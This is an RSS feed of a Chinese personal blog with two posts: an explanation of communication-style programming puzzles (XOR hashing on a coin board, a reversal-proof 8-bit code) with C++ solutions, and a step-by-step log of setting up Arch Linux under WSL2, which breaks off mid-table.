<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>arishi</title><description>chmod 166 heart</description><link>https://fuwari.vercel.app/</link><language>zh_CN</language><item><title>通信题</title><link>https://fuwari.vercel.app/posts/algo/communication/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/algo/communication/</guid><description>如何使用受限的信道完成通信？</description><pubDate>Sun, 12 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;例题&lt;/h2&gt;
&lt;h3&gt;XOR-Hashing&lt;/h3&gt;
&lt;p&gt;:::note[棋盘翻转]&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;因为在情人节偷吃了鼠鼠的奶酪，Alice 和 Bob 被鼠鼠分别关在两个房间里！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;这是一道通信题&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;鼠鼠在一个 $64 \times 64$ 的棋盘的每一格上放置了一枚硬币。
每枚硬币要么正面朝上，要么背面朝上。其中有一枚硬币是假的，但它与其他硬币在外观上没有区别。&lt;/p&gt;
&lt;p&gt;鼠鼠会先将棋盘拿进 Alice 所在的房间，并告诉她哪一枚硬币是假的。
Alice 需要选择棋盘上的一行硬币，将其全部翻面一次，再选择棋盘上的一列硬币，将其全部翻面一次。&lt;/p&gt;
&lt;p&gt;随后鼠鼠会将 Alice 操作过的棋盘拿进 Bob 所在的房间，让 Bob 指认假币。
如果 Bob 成功指认出假币，两人就能重见天日；否则他们就要遭受惩罚！&lt;/p&gt;
&lt;p&gt;现在你需要设计一个程序，在第一次运行时扮演 Alice，在第二次运行时扮演 Bob，最终指认出假币。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Interaction Protocol&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;你的程序将会在每次测试中运行两次。&lt;/p&gt;
&lt;p&gt;在 Alice Round，你的程序将扮演 Alice；在 Bob Round，你的程序将扮演 Bob。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Alice Round&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;输入的第一行是单词 &lt;code&gt;Alice&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;接下来 64 行，每行包含一个长度为 $64$ 的 $01$ 串，表示棋盘上的各枚硬币是否正面朝上。&lt;/li&gt;
&lt;li&gt;最后一行包含两个整数 $i, j (1 \le i, j \le 64)$，表示棋盘第 $i$ 行第 $j$ 列的硬币是假币。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;你需要输出一行两个整数 $x, y (1 \le x, y \le 64)$，表示将棋盘第 $x$ 行上的所有硬币翻面一次，再将第 $y$ 列
上的所有硬币翻面一次。
如果你的输出不符合格式要求，你将会收到 &lt;code&gt;Wrong Answer&lt;/code&gt; 的评测结果。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Bob Round&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在 Bob 阶段，你的程序将被重启。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;输入的第一行是单词 &lt;code&gt;Bob&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;接下来 $64$ 行，每行包含一个长度为 $64$ 的 $01$ 串，表示棋盘上的各枚硬币是否正面朝上。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;你需要输出一行两个整数 $x, y (1 \le x, y \le 64)$，表示指认棋盘第 $x$ 行第 $y$ 列的硬币为假币。
如果你成功指认出假币，交互器将返回 &lt;code&gt;Accepted&lt;/code&gt; 的评测结果。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;本质是给定一个长度为 $4096$ 的 $01$ 串，通过翻转操作来传递一个 $[0, 4096)$ 内的整数。&lt;/p&gt;
&lt;p&gt;棋盘很大，为了避免 Bob 查表，我们为棋盘状态定义&lt;strong&gt;哈希值&lt;/strong&gt;，任务就转化成：让不同翻转情况后的棋盘哈希值不同，让 Bob 能区分。&lt;/p&gt;
&lt;p&gt;信道只能传输二进制数，于是 Alice 和 Bob 可以事先协商，为每个二进制位赋权，并定义棋盘状态的哈希值为&lt;strong&gt;加权异或和&lt;/strong&gt;，用哈希值作为传输信息的介质，这便是 XOR-Hashing。&lt;/p&gt;
&lt;p&gt;具体地，设赋权后初始棋盘的哈希值为 $H$，现在 Alice 想要传递答案 $A$，为了让 Bob 收到哈希值为
$$
A = H \oplus F
$$
的棋盘，需要权值为
$$
F = H \oplus A
$$
的翻转。如何赋权使得 Alice 能根据 $F$ 得知需要翻转的行列号，即构建 $F$ 到行列号的双射？&lt;/p&gt;
&lt;p&gt;理论上这需要解含 $4096$ 个方程（翻转情况数）、$128$ 个变量（行列异或值）的方程组，解出来的 $128$ 个值分别作为权值有关行列异或和的约束。但二人发现：$A$ 是 $12$ 位二进制数，因此所赋权值也是 $12$ 位二进制数，而行列号都是 $6$ 位二进制数。&lt;/p&gt;
&lt;p&gt;二人容易想到一种双射：让 $F$ 的高 $6$ 位是行号，低 $6$ 位是列号。要达成这种效果的赋权是什么样的呢？很快发现赋权方案其实很简单：让第 $i$ 行异或和为 $64i$，第 $j$ 列异或和为 $j$。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;vector&amp;gt;

void Alice() {
    int i, j;
    std::vector&amp;lt;std::string&amp;gt; B(64);
    for (auto &amp;amp;L : B) std::cin &amp;gt;&amp;gt; L;
    std::cin &amp;gt;&amp;gt; i &amp;gt;&amp;gt; j; i--, j--;
    int H = 0;
    for (int q = 0; q &amp;lt; 64; q++) if (B[0][q] == &apos;1&apos;) H ^= q;
    for (int p = 0; p &amp;lt; 64; p++) if (B[p][0] == &apos;1&apos;) H ^= p &amp;lt;&amp;lt; 6;
    int flip = H ^ (i &amp;lt;&amp;lt; 6 | j);
    int fx = flip &amp;gt;&amp;gt; 6, fy = flip &amp;amp; 0x3f;
    std::cout &amp;lt;&amp;lt; fx + 1 &amp;lt;&amp;lt; &apos; &apos; &amp;lt;&amp;lt; fy + 1 &amp;lt;&amp;lt; &apos;\n&apos;;
}

void Bob() {
    std::vector&amp;lt;std::string&amp;gt; B(64);
    for (auto &amp;amp;L : B) std::cin &amp;gt;&amp;gt; L;
    int ans = 0;
    for (int j = 0; j &amp;lt; 64; j++) if (B[0][j] == &apos;1&apos;) ans ^= j;
    for (int i = 0; i &amp;lt; 64; i++) if (B[i][0] == &apos;1&apos;) ans ^= i &amp;lt;&amp;lt; 6;
    int x = ans &amp;gt;&amp;gt; 6, y = ans &amp;amp; 0x3f;
    std::cout &amp;lt;&amp;lt; x + 1 &amp;lt;&amp;lt; &apos; &apos; &amp;lt;&amp;lt; y + 1 &amp;lt;&amp;lt; &apos;\n&apos;;
}

int main() {
    std::ios::sync_with_stdio(false);
    std::cin.tie(nullptr);
    std::string id;
    std::cin &amp;gt;&amp;gt; id;
    if (id == &quot;Alice&quot;) Alice();
    else if (id == &quot;Bob&quot;) Bob();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;不忠实的信道&lt;/h3&gt;
&lt;p&gt;:::note[纸条翻转]&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这是一道通信题&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;Bob 刚刚和 Alice 玩了猜数游戏。正确猜出 Alice 心中的数字后，他会在一张纸条上写下长度为 8 的 01 字符串来记录该数字。&lt;/p&gt;
&lt;p&gt;然而，如果纸条被翻转，所记录的 01 字符串也会被反转，导致无法确定该字符串应从左到右还是从右到左读取。为避免歧义，Bob 必须设计一种编码与解码方案，使得无论纸条是否被翻转，都能根据纸条上的信息唯一还原出原始数字。&lt;/p&gt;
&lt;p&gt;过了一段时间后，Bob 重新找到了这张纸条，他需要根据纸条上的信息还原出记录的数字。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Interaction Protocol&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;您的程序在每组测试中将被运行两次。在第一次运行中，您的程序扮演写纸条的 Bob。在第二次运行中，您的程序扮演读纸条的 Bob。&lt;/p&gt;
&lt;p&gt;每次运行包含多组测试数据。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第一次运行&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;第一行输入字符串 &lt;code&gt;write&lt;/code&gt;，第二行输入一个整数 $T$ ($1 \le T \le 100$)，表示测试数据组数。对于每组测试数据：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;唯一的一行输入一个整数 $x$ ($0 \le x \le 100$)，表示要记录的整数。&lt;/li&gt;
&lt;li&gt;您的程序应输出一行，包含一个长度为 $8$ 的字符串，由字符 &lt;code&gt;0&lt;/code&gt; 和 &lt;code&gt;1&lt;/code&gt; 组成，表示纸条上记录的信息。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;第二次运行&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;您的程序将被重启以进行第二次运行。&lt;/p&gt;
&lt;p&gt;第一行输入字符串 &lt;code&gt;read&lt;/code&gt;，第二行输入一个整数 $T$ ($1 \le T \le 100$)，表示测试数据组数。对于每组测试数据：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;唯一的一行输入一个长度为 $8$ 的字符串，由字符 &lt;code&gt;0&lt;/code&gt; 和 &lt;code&gt;1&lt;/code&gt; 组成，这正是您在第一次运行中输出的字符串，字符顺序可能被翻转。&lt;/li&gt;
&lt;li&gt;您的程序应输出一行，包含一个整数，表示您从字符串中还原的整数。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;注意：第二次运行的测试数据顺序可能和第一次运行时不同。只有您对所有测试数据都正确还原了整数的答案才被视为正确。
:::&lt;/p&gt;
&lt;p&gt;形式化地，给定消息集 $M$，$|M| = 101$，字母表 $\Sigma = {0, 1}$，码长 $n = 8$，信道存在算子 $G = {\mathrm{id}, \mathrm{rev}}$，其中反转算子
$$
\begin{aligned}
\mathrm{rev}: \Sigma^n &amp;amp;\rightarrow \Sigma^n \
b_0b_1...b_{n-1} &amp;amp;\mapsto b_{n-1}b_{n-2}...b_0
\end{aligned}
$$
求一套编解码方案 $(\mathrm{Enc}, \mathrm{Dec})$，使得
$$
\forall m \in M, \forall g \in G, \mathrm{Dec}(g(\mathrm{Enc}(m))) = m
$$
其中 $\mathrm{Enc}: M \rightarrow \Sigma^n$，$\mathrm{Dec}: \Sigma^n \rightarrow M$。&lt;/p&gt;
&lt;p&gt;:::tip
在 $\Sigma^n$ 中任取两码，我们无法确保它们来自不同的消息。&lt;/p&gt;
&lt;p&gt;由于存在篡改行为，$\Sigma^n$ 中互反的码不可区分。特别地，回文串与其自身不可区分。因此它们实质上构成了一系列等价类。形式化地，${c, \mathrm{rev}(c)}$ 是不可区分关系下的等价类，并且
$$
\bigcap_{m \in M} {\mathrm{Enc}(m), g(\mathrm{Enc}(m))} = \empty
$$&lt;/p&gt;
&lt;p&gt;在 ${0, 1}^8$ 中，一共有 $2^4 = 16$ 个回文，$2^4 + (2^8-2^4) / 2 = 16 + 120 = 136$ 个等价类。&lt;/p&gt;
&lt;p&gt;由于 $101 &amp;lt; 136$，$\mathrm{Enc}$ 可被设计成单射：为消息分配不同的等价类 (可选择字典序较小者作为代表元)。&lt;/p&gt;
&lt;p&gt;$\mathrm{Dec}$ 在 $\mathrm{Enc}(M)$ 上被设计成 $\mathrm{Enc}^{-1}$，在 $\Sigma^n \setminus \mathrm{Enc}(M)$ 上编码失败。
:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;bitset&amp;gt;
#include &amp;lt;iostream&amp;gt;
#include &amp;lt;sstream&amp;gt;
#include &amp;lt;vector&amp;gt;

std::vector&amp;lt;int&amp;gt; enc, dec;

void init() {
    enc.assign(101, -1);
    dec.assign(256, -1);
    std::stringstream ss;
    for (int d = 0, cnt = 0; d &amp;lt; 256 &amp;amp;&amp;amp; cnt &amp;lt; 101; d++) {
        ss.clear();
        ss &amp;lt;&amp;lt; std::bitset&amp;lt;8&amp;gt;(d);
        std::string s = ss.str(), r = s;
        std::reverse(r.begin(), r.end());
        if (s &amp;gt; r) continue;
        enc[cnt] = d;
        dec[d] = cnt;
        dec[std::stoi(r, nullptr, 2)] = cnt++;
    }
}

void alice() {
    int x;
    std::cin &amp;gt;&amp;gt; x;
    std::cout &amp;lt;&amp;lt; enc[x] &amp;lt;&amp;lt; &apos;\n&apos;;
}

void bob() {
    std::string s;
    std::cin &amp;gt;&amp;gt; s;
    std::cout &amp;lt;&amp;lt; dec[std::stoi(s, nullptr, 2)] &amp;lt;&amp;lt; &apos;\n&apos;;
}

int main() {
    std::ios::sync_with_stdio(false);
    std::cin.tie(nullptr);
    init();
    std::string id; int T = 1;
    std::cin &amp;gt;&amp;gt; id &amp;gt;&amp;gt; T;
    if (id == &quot;write&quot;) while (T--) alice();
    if (id == &quot;read&quot;) while (T--) bob();
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>WSL2 + Arch Linux</title><link>https://fuwari.vercel.app/posts/cs/os/wsl2/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/cs/os/wsl2/</guid><description>记录 WSL2 + Arch Linux 安装过程，供我以后参阅。</description><pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;在 WSL 2 下使用 Arch Linux 系统&lt;/h1&gt;
&lt;p&gt;:::warning
以下内容可能过时，请注意文章最近更新时间．
:::&lt;/p&gt;
&lt;h2&gt;前期准备&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;我正在使用 &lt;a href=&quot;https://uupdump.net/selectlang.php?id=db640db1-d7b0-4d44-8bbc-b930ab72865a&quot;&gt;Windows 11, version 25H2&lt;/a&gt;，SKU 版本为 Windows 家庭中文版。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;首先检查自己的 Windows 是否启用了&lt;strong&gt;虚拟化&lt;/strong&gt;：“右击任务栏 —— 任务栏管理 —— 性能 —— CPU”，观察到 “虚拟化：已启用”。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;大部分电脑默认已开启了虚拟化。如果没有启用，请在 UEFI/BIOS 设置中&lt;a href=&quot;https://support.microsoft.com/en-us/windows/enable-virtualization-on-windows-c5578302-6e43-4b4b-a449-8ced115f58e1&quot;&gt;手动开启虚拟化&lt;/a&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在开始菜单中，依次点击 “设置 —— 系统 —— 可选功能 —— 更多 Windows 功能”，进入 “启用或关闭 Windows 功能”，开启 “&lt;strong&gt;适用于 Linux 的 Windows 子系统&lt;/strong&gt;” 和 “&lt;strong&gt;虚拟机平台&lt;/strong&gt;” 两个功能，确认后需要&lt;strong&gt;重启&lt;/strong&gt;你的计算机。&lt;/p&gt;
&lt;p&gt;打开 PowerShell，下载 &lt;strong&gt;WSL&lt;/strong&gt; (适用于 Linux 的 Windows 子系统，即 &lt;strong&gt;Windows Subsystem for Linux&lt;/strong&gt;)：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; [35mwsl[0m --update
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;请求的操作需要提升。
正在下载: 适用于 Linux 的 Windows 子系统 2.6.3
正在安装: 适用于 Linux 的 Windows 子系统 2.6.3
已安装 适用于 Linux 的 Windows 子系统 2.6.3。
正在检查更新。
已安装最新版本的适用于 Linux 的 Windows 子系统。
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;pre&gt;&lt;code&gt;正在检查更新。
已禁止(403)。
错误代码: Wsl/UpdatePackage/0x80190193
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果在检查更新时出现 “已禁止(403)”，请关闭网络代理功能。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;现在我成功安装了&lt;a href=&quot;https://github.com/microsoft/WSL/releases/tag/2.6.3&quot;&gt;适用于 Linux 的 Windows 子系统 2.6.3&lt;/a&gt;，接着检查 WSL、WSLg、Linux 内核的版本信息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; [35mwsl[0m --version
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;WSL 版本: 2.6.3.0
内核版本: 6.6.87.2-1
WSLg 版本: 1.0.71
MSRDC 版本: 1.2.6353
Direct3D 版本: 1.611.1-81528511
DXCore 版本: 10.0.26100.1-240331-1435.ge-release
Windows: 10.0.26200.8037
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::tip
你也可以&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/wsl/install&quot;&gt;从 Microsoft Store 下载 WSL&lt;/a&gt;，这允许您比以前更快地获得 WSL 更新。
:::&lt;/p&gt;
&lt;p&gt;查看支持在线安装的 Linux 发行版：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; [35mwsl[0m --list --online 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;以下是可安装的有效分发的列表。
使用“wsl.exe --install &amp;lt;Distro&amp;gt;”安装。

NAME                            FRIENDLY NAME
Ubuntu                          Ubuntu
Ubuntu-24.04                    Ubuntu 24.04 LTS
openSUSE-Tumbleweed             openSUSE Tumbleweed
openSUSE-Leap-16.0              openSUSE Leap 16.0
SUSE-Linux-Enterprise-15-SP7    SUSE Linux Enterprise 15 SP7
SUSE-Linux-Enterprise-16.0      SUSE Linux Enterprise 16.0
kali-linux                      Kali Linux Rolling
Debian                          Debian GNU/Linux
AlmaLinux-8                     AlmaLinux OS 8
AlmaLinux-9                     AlmaLinux OS 9
AlmaLinux-Kitten-10             AlmaLinux OS Kitten 10
AlmaLinux-10                    AlmaLinux OS 10
archlinux                       Arch Linux
FedoraLinux-43                  Fedora Linux 43
FedoraLinux-42                  Fedora Linux 42
eLxr                            eLxr 12.12.0.0 GNU/Linux
Ubuntu-20.04                    Ubuntu 20.04 LTS
Ubuntu-22.04                    Ubuntu 22.04 LTS
OracleLinux_7_9                 Oracle Linux 7.9
OracleLinux_8_10                Oracle Linux 8.10
OracleLinux_9_5                 Oracle Linux 9.5
openSUSE-Leap-15.6              openSUSE Leap 15.6
SUSE-Linux-Enterprise-15-SP6    SUSE Linux Enterprise 15 SP6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我即将安装 &lt;a href=&quot;https://wiki.archlinux.org.cn/title/Install_Arch_Linux_on_WSL&quot;&gt;Arch Linux&lt;/a&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; [35mwsl[0m --install archlinux
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;正在下载: Arch Linux
正在安装: Arch Linux
已成功安装分发。可以通过 “wsl.exe -d archlinux” 启动它
正在启动 archlinux...
Welcome to the Arch Linux WSL image!

This image is maintained at &amp;lt;https://gitlab.archlinux.org/archlinux/archlinux-wsl&amp;gt;.

Please, report bugs at &amp;lt;https://gitlab.archlinux.org/archlinux/archlinux-wsl/-/issues&amp;gt;.
Note that WSL 1 is not supported.

For more information about this WSL image and its usage (including &quot;tips and tricks&quot; and troubleshooting steps), see the related Arch Wiki page at &amp;lt;https://wiki.archlinux.org/title/Install_Arch_Linux_on_WSL&amp;gt;.

While images are built regularly, it is strongly recommended running &quot;pacman -Syu&quot; right after the first launch due to the rolling release nature of Arch Linux.

Generating pacman keys...
Done

Populating keyring...
Done
[root@shy-pc-windows /]# 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时我便以 &lt;code&gt;root&lt;/code&gt; 身份进入了 Arch Linux 环境。&lt;/p&gt;
&lt;p&gt;:::tip
WSL 可安装并运行多个 Linux 系统。在 PowerShell 中查看已安装的 WSL：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; [35mwsl[0m --list
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;适用于 Linux 的 Windows 子系统分发:
archlinux (默认值)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;若想再次启动 WSL，可以在 PowerShell 中打开 “新建标签页” 的下拉菜单，选择想启动的 Linux 发行版后点击启动，进入 Linux 环境的 home 目录 &lt;code&gt;~&lt;/code&gt;。WSL 也可以在开始菜单中搜索找到并启动。也可以在 PowerShell 中键入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; [35mwsl[0m -d archlinux
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 Windows 的当前目录下启动 Linux 环境。使用 &lt;code&gt;exit&lt;/code&gt; 关闭终端，即可退出 WSL。
:::&lt;/p&gt;
&lt;h2&gt;Linux&lt;/h2&gt;
&lt;h3&gt;仓库&lt;/h3&gt;
&lt;p&gt;先同步软件仓库&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pacman -Syu
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安装必要软件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pacman -S vim sudo which fastfetch btop
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;默认情况下，&lt;code&gt;pacman&lt;/code&gt; 只有 &lt;code&gt;[core]&lt;/code&gt; 和 &lt;code&gt;[extra]&lt;/code&gt; 两种仓库。我可以定义 32 位仓库 &lt;code&gt;[multilib]&lt;/code&gt; 以及 Arch Linux 中文社区仓库 &lt;code&gt;[archlinuxcn]&lt;/code&gt;，修改 &lt;code&gt;/etc/pacman.conf&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# The testing repositories are disabled by default. To enable, uncomment the
# repo name header and Include lines. You can add preferred servers immediately
# after the header, and they will be used before the default mirrors.

#[core-testing]
#Include = /etc/pacman.d/mirrorlist

[core]
Include = /etc/pacman.d/mirrorlist

#[extra-testing]
#Include = /etc/pacman.d/mirrorlist

[extra]
Include = /etc/pacman.d/mirrorlist

# 32 bit applications

#[multilib-testing]
#Include = /etc/pacman.d/mirrorlist

[multilib]
Include = /etc/pacman.d/mirrorlist

# An example of a custom package repository.  See the pacman manpage for
# tips on creating your own repositories.
#[custom]
#SigLevel = Optional TrustAll
#Server = file:///home/custompkgs

[archlinuxcn]
Server = https://mirrors.tuna.tsinghua.edu.cn/archlinuxcn/$arch
Server = https://mirrors.ustc.edu.cn/archlinuxcn/$arch
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;配置好 &lt;code&gt;/etc/pacman.conf&lt;/code&gt; 后，&lt;code&gt;pacman&lt;/code&gt; 会从仓库指定的镜像源 (比如 &lt;code&gt;[core]&lt;/code&gt;、&lt;code&gt;[extra]&lt;/code&gt; 对应的 &lt;code&gt;/etc/pacman.d/mirrorlist&lt;/code&gt;) 下载软件。&lt;/p&gt;
&lt;p&gt;因为一些原因，我需要为仓库准备中国相应的&lt;strong&gt;镜像源&lt;/strong&gt;，这可以通过 Arch Linux 官网提供的 &lt;a href=&quot;https://archlinux.org/mirrorlist/&quot;&gt;Pacman Mirrorlist Generator&lt;/a&gt; 获取。&lt;/p&gt;
&lt;p&gt;修改 &lt;code&gt;/etc/pacman.d/mirrorlist&lt;/code&gt;，更换镜像源&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vim /etc/pacman.d/mirrorlist
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# Server = https://fastly.mirror.pkgbuild.com/$repo/os/$arch
# Server = https://geo.mirror.pkgbuild.com/$repo/os/$arch

## China
Server = http://mirrors.aliyun.com/archlinux/$repo/os/$arch
Server = https://mirrors.aliyun.com/archlinux/$repo/os/$arch
Server = http://mirrors.nju.edu.cn/archlinux/$repo/os/$arch
Server = https://mirrors.nju.edu.cn/archlinux/$repo/os/$arch
Server = http://mirrors.tuna.tsinghua.edu.cn/archlinux/$repo/os/$arch
Server = https://mirrors.tuna.tsinghua.edu.cn/archlinux/$repo/os/$arch
Server = http://mirrors.ustc.edu.cn/archlinux/$repo/os/$arch
Server = https://mirrors.ustc.edu.cn/archlinux/$repo/os/$arch
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;root 用户&lt;/h3&gt;
&lt;p&gt;我给 &lt;code&gt;root&lt;/code&gt; 用户配置默认编辑器为 &lt;code&gt;vim&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vim ~/.bash_profile
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;export EDITOR=&apos;vim&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;非 root 用户&lt;/h3&gt;
&lt;h4&gt;sudo&lt;/h4&gt;
&lt;p&gt;我为本机添加一位名为 &lt;code&gt;nisemono&lt;/code&gt;、可通过 &lt;code&gt;sudo&lt;/code&gt; 提权的用户：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;useradd -m -G wheel -s /bin/bash nisemono
passwd nisemono
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;谁能 &lt;code&gt;sudo&lt;/code&gt;？&lt;code&gt;sudo&lt;/code&gt; 之后他的权限如何？我需要管理他们。&lt;/p&gt;
&lt;p&gt;我使用 &lt;code&gt;vim&lt;/code&gt; 编辑器 (环境变量 &lt;code&gt;EDITOR&lt;/code&gt; 尚未生效)，通过 &lt;code&gt;visudo&lt;/code&gt; 命令编辑 &lt;code&gt;sudoers&lt;/code&gt; 文件，规定处于 &lt;code&gt;wheel&lt;/code&gt; 用户组里的所有用户 (包括 &lt;code&gt;nisemono&lt;/code&gt;) &lt;code&gt;sudo&lt;/code&gt; 后的权限：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;EDITOR=vim visudo
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;#%wheel ALL=(ALL:ALL) ALL
%wheel ALL=(ALL:ALL) ALL
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::tip[&lt;code&gt;%用户组名 主机名=(目标用户名) 命令1, 命令2, !命令3&lt;/code&gt;]&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在 &lt;code&gt;用户组名&lt;/code&gt; 组中，允许 &lt;code&gt;目标用户名&lt;/code&gt; 在 &lt;code&gt;主机名&lt;/code&gt; 上，使用 &lt;code&gt;sudo&lt;/code&gt; 后可以执行 &lt;code&gt;命令1&lt;/code&gt;、&lt;code&gt;命令2&lt;/code&gt;，禁止执行 &lt;code&gt;命令3&lt;/code&gt;。
:::&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;WSL 默认启动用户&lt;/h4&gt;
&lt;p&gt;现在我希望每次打开 WSL，登录的是 &lt;code&gt;nisemono&lt;/code&gt; 用户，而不是 &lt;code&gt;root&lt;/code&gt; 用户，因此修改 &lt;code&gt;/etc/wsl.conf&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[boot]
systemd=true

[user]
default=nisemono
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;重启终端，登录 &lt;code&gt;nisemono&lt;/code&gt;。&lt;/p&gt;
&lt;h4&gt;yay&lt;/h4&gt;
&lt;p&gt;为 &lt;code&gt;nisemono&lt;/code&gt; 获取 &lt;code&gt;[archlinuxcn]&lt;/code&gt; 仓库的签名后，安装 &lt;code&gt;archlinuxcn/yay&lt;/code&gt;，它可以让我安装 AUR 中的软件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo pacman -S archlinuxcn-keyring
sudo pacman -S yay
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;默认文本编辑器&lt;/h4&gt;
&lt;p&gt;让 &lt;code&gt;vim&lt;/code&gt; 作为 &lt;code&gt;nisemono&lt;/code&gt; 的默认文本编辑器：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#
# ~/.bashrc
#

# If not running interactively, don&apos;t do anything
[[ $- != *i* ]] &amp;amp;&amp;amp; return

alias ls=&apos;ls --color=auto&apos;
alias grep=&apos;grep --color=auto&apos;
PS1=&apos;[\u@\h \W]\$ &apos;

export EDITOR=&apos;vim&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;fish&lt;/h4&gt;
&lt;p&gt;为 &lt;code&gt;nisemono&lt;/code&gt; 安装 &lt;code&gt;fish&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo pacman -S fish
which fish
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::tip
&lt;code&gt;fish&lt;/code&gt; 全称 Friendly Interactive SHell，有许多开箱即用的功能，如自动补全、语法高亮、命令简写等。相比 &lt;code&gt;bash&lt;/code&gt; 的兼容性、&lt;code&gt;zsh&lt;/code&gt; 的高度可定制，&lt;code&gt;fish&lt;/code&gt; 更易上手。
:::&lt;/p&gt;
&lt;p&gt;启动 &lt;code&gt;fish&lt;/code&gt;，执行 &lt;code&gt;fish_config&lt;/code&gt; 命令后，可以非常方便地在本机 &lt;code&gt;8000&lt;/code&gt; 端口自由设置 &lt;code&gt;fish&lt;/code&gt; 的配色、prompt、函数、变量：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ fish

Welcome to fish, the friendly interactive shell
Type [32mhelp[0m for instructions on how to use fish
[32mnisemono[0m@shy-pc-windows ~&amp;gt; fish_config
...
[32m~[0m $ 
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;快捷键&lt;/th&gt;
&lt;th&gt;功能&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
